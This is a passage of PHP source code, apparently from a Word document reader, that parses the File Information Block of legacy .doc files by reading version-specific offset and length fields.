            $this->arrayFib['fcPlcfFldMcr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfFldMcr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmk'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmk'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcCmds'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbCmds'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused1'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused1'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfMcr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfMcr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPrDrvr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPrDrvr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPrEnvPort'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPrEnvPort'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPrEnvLand'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPrEnvLand'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcWss'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbWss'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcDop'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbDop'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfAssoc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfAssoc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcClx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbClx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfPgdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfPgdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcAutosaveSource'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbAutosaveSource'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcGrpXstAtnOwners'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbGrpXstAtnOwners'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfAtnBkmk'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfAtnBkmk'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused2'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused2'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused3'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused3'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcSpaMom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcSpaMom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcSpaHdr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcSpaHdr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfAtnBkf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfAtnBkf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfAtnBkl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfAtnBkl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPms'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPms'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcFormFldSttbs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbFormFldSttbs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfendRef'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfendRef'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfendTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfendTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfFldEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfFldEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused4'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused4'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcDggInfo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbDggInfo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfRMark'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfRMark'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfCaption'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfCaption'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfAutoCaption'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfAutoCaption'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfWkb'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfWkb'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfSpl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfSpl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcftxbxTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcftxbxTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfFldTxbx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfFldTxbx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfHdrtxbxTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfHdrtxbxTxt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcffldHdrTxbx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcffldHdrTxbx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcStwUser'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbStwUser'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbTtmbd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbTtmbd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcCookieData'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbCookieData'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdMotherOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdMotherOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdMotherOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdMotherOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdFtnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdFtnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdFtnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdFtnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdEdnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdEdnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdEdnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdEdnOldOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfIntlFld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfIntlFld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcRouteSlip'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbRouteSlip'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbSavedBy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbSavedBy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbFnm'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbFnm'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlfLst'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlfLst'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlfLfo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlfLfo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfTxbxBkd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfTxbxBkd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfTxbxHdrBkd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfTxbxHdrBkd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcDocUndoWord9'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbDocUndoWord9'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcRgbUse'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbRgbUse'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUsp'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUsp'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUskf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUskf'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcupcRgbUse'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcupcRgbUse'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcupcUsp'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcupcUsp'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbGlsyStyle'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbGlsyStyle'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlgosl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlgosl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcocx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcocx'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBteLvc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBteLvc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['dwLowDateTime'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['dwHighDateTime'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfLvcPre10'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfLvcPre10'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfAsumy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfAsumy'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfGram'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfGram'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbListNames'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbListNames'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfUssr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfUssr'] = self::getInt4d($data, $pos);
            $pos += 4;
        }
        if ($version == self::VERSION_2000) {
            $this->arrayFib['fcPlcfTch'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfTch'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcRmdThreading'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbRmdThreading'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcMid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbMid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbRgtplc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbRgtplc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcMsoEnvelope'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbMsoEnvelope'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfLad'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfLad'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcRgDofr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbRgDofr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcosl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcosl'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfCookieOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfCookieOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdMotherOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdMotherOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdMotherOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdMotherOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdFtnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdFtnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdFtnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdFtnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdEdnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdEdnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdEdnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdEdnOld'] = self::getInt4d($data, $pos);
            $pos += 4;
        }
        if ($version == self::VERSION_2002) {
            $this->arrayFib['fcUnused1'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused1'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfPgp'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfPgp'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfuim'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfuim'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlfguidUim'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlfguidUim'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcAtrdExtra'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbAtrdExtra'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlrsid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlrsid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmkFactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmkFactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkfFactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkfFactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfcookie'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfcookie'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBklFactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBklFactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcFactoidData'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbFactoidData'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcDocUndo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbDocUndo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmkFcc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmkFcc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkfFcc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkfFcc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBklFcc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBklFcc'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfbkmkBPRepairs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfbkmkBPRepairs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfbkfBPRepairs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfbkfBPRepairs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfbklBPRepairs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfbklBPRepairs'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPmsNew'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPmsNew'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcODSO'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbODSO'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfpmiOldXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfpmiOldXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfpmiNewXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfpmiNewXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfpmiMixedXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfpmiMixedXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused2'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused2'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcffactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcffactoid'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcflvcOldXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcflvcOldXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcflvcNewXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcflvcNewXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcflvcMixedXP'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcflvcMixedXP'] = self::getInt4d($data, $pos);
            $pos += 4;
        }
        if ($version == self::VERSION_2003) {
            $this->arrayFib['fcHplxsdr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbHplxsdr'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmkSdt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmkSdt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkfSdt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkfSdt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBklSdt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBklSdt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcCustomXForm'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbCustomXForm'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmkProt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmkProt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkfProt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkfProt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBklProt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBklProt'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbProtUser'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbProtUser'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfpmiOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfpmiOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfpmiOldInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfpmiOldInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfpmiNew'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfpmiNew'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfpmiNewInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfpmiNewInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcflvcOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcflvcOld'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcflvcOldInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcflvcOldInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcflvcNew'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcflvcNew'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcflvcNewInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcflvcNewInline'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdMother'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdMother'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdMother'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdMother'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcAfdMother'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbAfdMother'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcAfdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbAfdFtn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPgdEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPgdEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcBkdEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbBkdEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcAfdEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbAfdEdn'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcAfd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbAfd'] = self::getInt4d($data, $pos);
            $pos += 4;
        }
        if ($version == self::VERSION_2007) {
            $this->arrayFib['fcPlcfmthd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfmthd'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmkMoveFrom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmkMoveFrom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkfMoveFrom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkfMoveFrom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBklMoveFrom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBklMoveFrom'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmkMoveTo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmkMoveTo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkfMoveTo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkfMoveTo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBklMoveTo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBklMoveTo'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused1'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused1'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused2'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused2'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcUnused3'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbUnused3'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcSttbfBkmkArto'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbSttbfBkmkArto'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBkfArto'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBkfArto'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcPlcfBklArto'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbPlcfBklArto'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['fcArtoData'] = self::getInt4d($data, $pos);
            $pos += 4;
            $this->arrayFib['lcbArtoData'] = self::getInt4d($data, $pos);
            $pos += 4;
